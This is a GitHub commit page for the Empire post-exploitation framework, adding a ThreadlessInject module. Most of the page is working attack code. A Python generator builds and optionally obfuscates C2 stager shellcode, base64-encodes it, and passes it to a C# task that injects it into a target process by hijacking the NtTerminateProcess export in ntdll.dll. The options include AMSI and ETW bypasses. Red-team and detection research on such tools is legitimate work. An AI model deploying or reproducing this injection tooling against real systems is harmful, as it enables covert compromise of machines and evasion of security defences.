Skip to content

Commit b7141b9

Browse files
authoredJul 13, 2024
Added Threadlessinject module (EmpireProject#845)
* added threadless inject module * updated threadlessinject to work with empire * added threadless inject and working module * updated author * updated deprecated functions * Update ThreadlessInject.Covenant.py fixed exception raising * updated deprecated functions again
1 parent 9e57905 commit b7141b9

File tree

6 files changed

+300
-0
lines changed

6 files changed

+300
-0
lines changed
 

‎.gitmodules

+3
Original file line numberDiff line numberDiff line change
@@ -55,3 +55,6 @@
5555
[submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty"]
5656
path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty
5757
url = https://github.com/BC-SECURITY/Moriarty.git
58+
[submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject"]
59+
path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject
60+
url = https://github.com/CCob/ThreadlessInject.git

‎CHANGELOG.md

+1
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
1919
- Added job tracking for all tasks in Sharpire (@Cx01N)
2020
- Updated agents to track all tasks and removed only tracking jobs (@Cx01N)
2121
- Added Invoke-BSOD modules (@Cx01N)
22+
- Added ThreadlessInject module (@Cx01N)
2223

2324
### Fixed
2425
- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N)
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
from empire.server.core.exceptions import (
2+
ModuleValidationException,
3+
)
4+
5+
try:
6+
import donut
7+
except ModuleNotFoundError:
8+
donut = None
9+
10+
import yaml
11+
12+
from empire.server.common import helpers
13+
from empire.server.common.empire import MainMenu
14+
from empire.server.core.module_models import EmpireModule
15+
16+
17+
class Module:
18+
@staticmethod
19+
def generate(
20+
main_menu: MainMenu,
21+
module: EmpireModule,
22+
params: dict,
23+
obfuscate: bool = False,
24+
obfuscation_command: str = "",
25+
):
26+
# staging options
27+
listener_name = params["Listener"]
28+
pid = params["pid"]
29+
user_agent = params["UserAgent"]
30+
proxy = params["Proxy"]
31+
proxy_creds = params["ProxyCreds"]
32+
launcher_obfuscation_command = params["ObfuscateCommand"]
33+
language = params["Language"]
34+
dot_net_version = params["DotNetVersion"].lower()
35+
arch = params["Architecture"]
36+
launcher_obfuscation = params["Obfuscate"]
37+
export = params["ExportFunction"]
38+
dll = params["dll"]
39+
40+
if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
41+
raise ModuleValidationException("[!] Invalid listener: " + listener_name)
42+
43+
launcher = main_menu.stagers.generate_launcher(
44+
listener_name,
45+
language=language,
46+
encode=False,
47+
obfuscate=launcher_obfuscation,
48+
obfuscation_command=launcher_obfuscation_command,
49+
userAgent=user_agent,
50+
proxy=proxy,
51+
proxyCreds=proxy_creds,
52+
)
53+
54+
if not launcher or launcher == "" or launcher.lower() == "failed":
55+
raise ModuleValidationException("[!] Invalid listener: " + listener_name)
56+
57+
if language.lower() == "powershell":
58+
shellcode, err = main_menu.stagers.generate_powershell_shellcode(
59+
launcher, arch=arch, dot_net_version=dot_net_version
60+
)
61+
if err:
62+
raise ModuleValidationException(err)
63+
64+
elif language.lower() == "csharp":
65+
if arch == "x86":
66+
arch_type = 1
67+
elif arch == "x64":
68+
arch_type = 2
69+
elif arch == "both":
70+
arch_type = 3
71+
directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
72+
73+
if not donut:
74+
raise ModuleValidationException(
75+
"module donut-shellcode not installed. It is only supported on x86."
76+
)
77+
78+
shellcode = donut.create(file=directory, arch=arch_type)
79+
80+
elif language.lower() == "ironpython":
81+
if dot_net_version == "net35":
82+
ModuleValidationException(
83+
"[!] IronPython agent only supports NetFramework 4.0 and above."
84+
)
85+
shellcode = main_menu.stagers.generate_python_shellcode(
86+
launcher, arch=arch, dot_net_version="net40"
87+
)
88+
89+
base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8")
90+
91+
compiler = main_menu.pluginsv2.get_by_id("csharpserver")
92+
if compiler.status != "ON":
93+
raise ModuleValidationException("csharpserver plugin not running")
94+
95+
# Convert compiler.yaml to python dict
96+
compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
97+
# delete the 'Empire' key
98+
del compiler_dict[0]["Empire"]
99+
# convert back to yaml string
100+
compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)
101+
102+
file_name = compiler.do_send_message(
103+
compiler_yaml, module.name, confuse=obfuscate
104+
)
105+
if file_name == "failed":
106+
raise ModuleValidationException("module compile failed")
107+
108+
script_file = (
109+
main_menu.installPath
110+
+ "/csharp/Covenant/Data/Tasks/CSharp/Compiled/"
111+
+ (params["DotNetVersion"]).lower()
112+
+ "/"
113+
+ file_name
114+
+ ".compiled"
115+
)
116+
117+
script_end = (
118+
f",--shellcode={base64_shellcode} --pid={pid} --dll={dll} --export={export}"
119+
)
120+
return f"{script_file}|{script_end}", None
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
- Name: ThreadlessInject
2+
Aliases: []
3+
Description: |
4+
The program is designed to perform process injection.
5+
Author:
6+
Name: Ceri Coburn
7+
Handle: Cobb
8+
Link: https://twitter.com/_EthicalChaos_
9+
Help:
10+
Language: CSharp
11+
CompatibleDotNetVersions:
12+
- Net40
13+
Code: |
14+
using System;
15+
using System.IO;
16+
17+
using ThreadlessInject;
18+
19+
public static class Task
20+
{
21+
public static Stream OutputStream { get; set; }
22+
public static string Execute(string Command)
23+
{
24+
try
25+
{
26+
TextWriter realStdOut = Console.Out;
27+
TextWriter realStdErr = Console.Error;
28+
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
29+
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
30+
stdOutWriter.AutoFlush = true;
31+
stdErrWriter.AutoFlush = true;
32+
Console.SetOut(stdOutWriter);
33+
Console.SetError(stdErrWriter);
34+
35+
string[] args = Command.Split(' ');
36+
ThreadlessInject.Program.Main(args);
37+
38+
Console.Out.Flush();
39+
Console.Error.Flush();
40+
Console.SetOut(realStdOut);
41+
Console.SetError(realStdErr);
42+
43+
OutputStream.Close();
44+
return "";
45+
}
46+
47+
catch (Exception e)
48+
{
49+
if (OutputStream != null)
50+
{
51+
OutputStream.Close();
52+
}
53+
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
54+
}
55+
}
56+
}
57+
TaskingType: Assembly
58+
UnsafeCompile: false
59+
TokenTask: false
60+
Options: []
61+
ReferenceSourceLibraries:
62+
- Name: ThreadlessInject
63+
Description: The program is designed to perform process injection.
64+
Location: ThreadlessInject\
65+
Language: CSharp
66+
CompatibleDotNetVersions:
67+
- Net40
68+
ReferenceAssemblies:
69+
- Name: System.dll
70+
Location: net40\System.dll
71+
DotNetVersion: Net40
72+
- Name: System.Core.dll
73+
Location: net40\System.Core.dll
74+
DotNetVersion: Net40
75+
- Name: System.Data.dll
76+
Location: net40\System.Data.dll
77+
DotNetVersion: Net40
78+
- Name: mscorlib.dll
79+
Location: net40\mscorlib.dll
80+
DotNetVersion: Net40
81+
- Name: System.Drawing.dll
82+
Location: net40\System.Drawing.dll
83+
DotNetVersion: Net40
84+
- Name: System.Runtime.Serialization.dll
85+
Location: net40\System.Runtime.Serialization.dll
86+
DotNetVersion: Net40
87+
- Name: System.Xml.dll
88+
Location: net40\System.XML.dll
89+
DotNetVersion: Net40
90+
- Name: System.Xml.Linq.dll
91+
Location: net40\System.Xml.Linq.dll
92+
DotNetVersion: Net40
93+
EmbeddedResources: []
94+
ReferenceAssemblies: []
95+
EmbeddedResources: []
96+
Empire:
97+
tactics: []
98+
software: ''
99+
techniques:
100+
- T1055
101+
background: true
102+
output_extension:
103+
needs_admin: false
104+
opsec_safe: false
105+
comments:
106+
- https://github.com/3xpl01tc0d3r/ProcessInjection
107+
options:
108+
- name: Listener
109+
description: Listener to use.
110+
required: true
111+
value: ''
112+
- name: Language
113+
description: Language of the stager to generate
114+
required: true
115+
value: powershell
116+
strict: true
117+
suggested_values:
118+
- powershell
119+
- csharp
120+
- ironpython
121+
- name: Obfuscate
122+
description: Obfuscate the launcher powershell code, uses the ObfuscateCommand
123+
for obfuscation types. For powershell only.
124+
required: false
125+
value: 'False'
126+
strict: true
127+
suggested_values:
128+
- True
129+
- False
130+
- name: ObfuscateCommand
131+
description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
132+
is True. For powershell only.
133+
required: false
134+
value: Token\All\1
135+
- name: Bypasses
136+
description: Bypasses as a space separated list to be prepended to the launcher.
137+
required: false
138+
value: 'mattifestation etw'
139+
- name: UserAgent
140+
description: User-agent string to use for the staging request (default, none, or
141+
other).
142+
required: false
143+
value: default
144+
- name: Proxy
145+
description: Proxy to use for request (default, none, or other).
146+
required: false
147+
value: default
148+
- name: ProxyCreds
149+
description: Proxy credentials ([domain\]username:password) to use for request (default,
150+
none, or other).
151+
required: false
152+
value: default
153+
- name: pid
154+
description: Specify the process id.
155+
required: true
156+
value: ''
157+
- name: Architecture
158+
description: Architecture of the .dll to generate (x64 or x86).
159+
required: true
160+
value: both
161+
strict: true
162+
suggested_values:
163+
- x64
164+
- x86
165+
- both
166+
- name: ExportFunction
167+
description: The exported function that will be hijacked.
168+
required: true
169+
value: 'NtTerminateProcess'
170+
- name: dll
171+
description: The DLL that that contains the export to patch.
172+
required: true
173+
value: 'ntdll.dll'
174+
advanced:
175+
custom_generate: true

0 commit comments

Comments
 (0)
Please sign in to comment.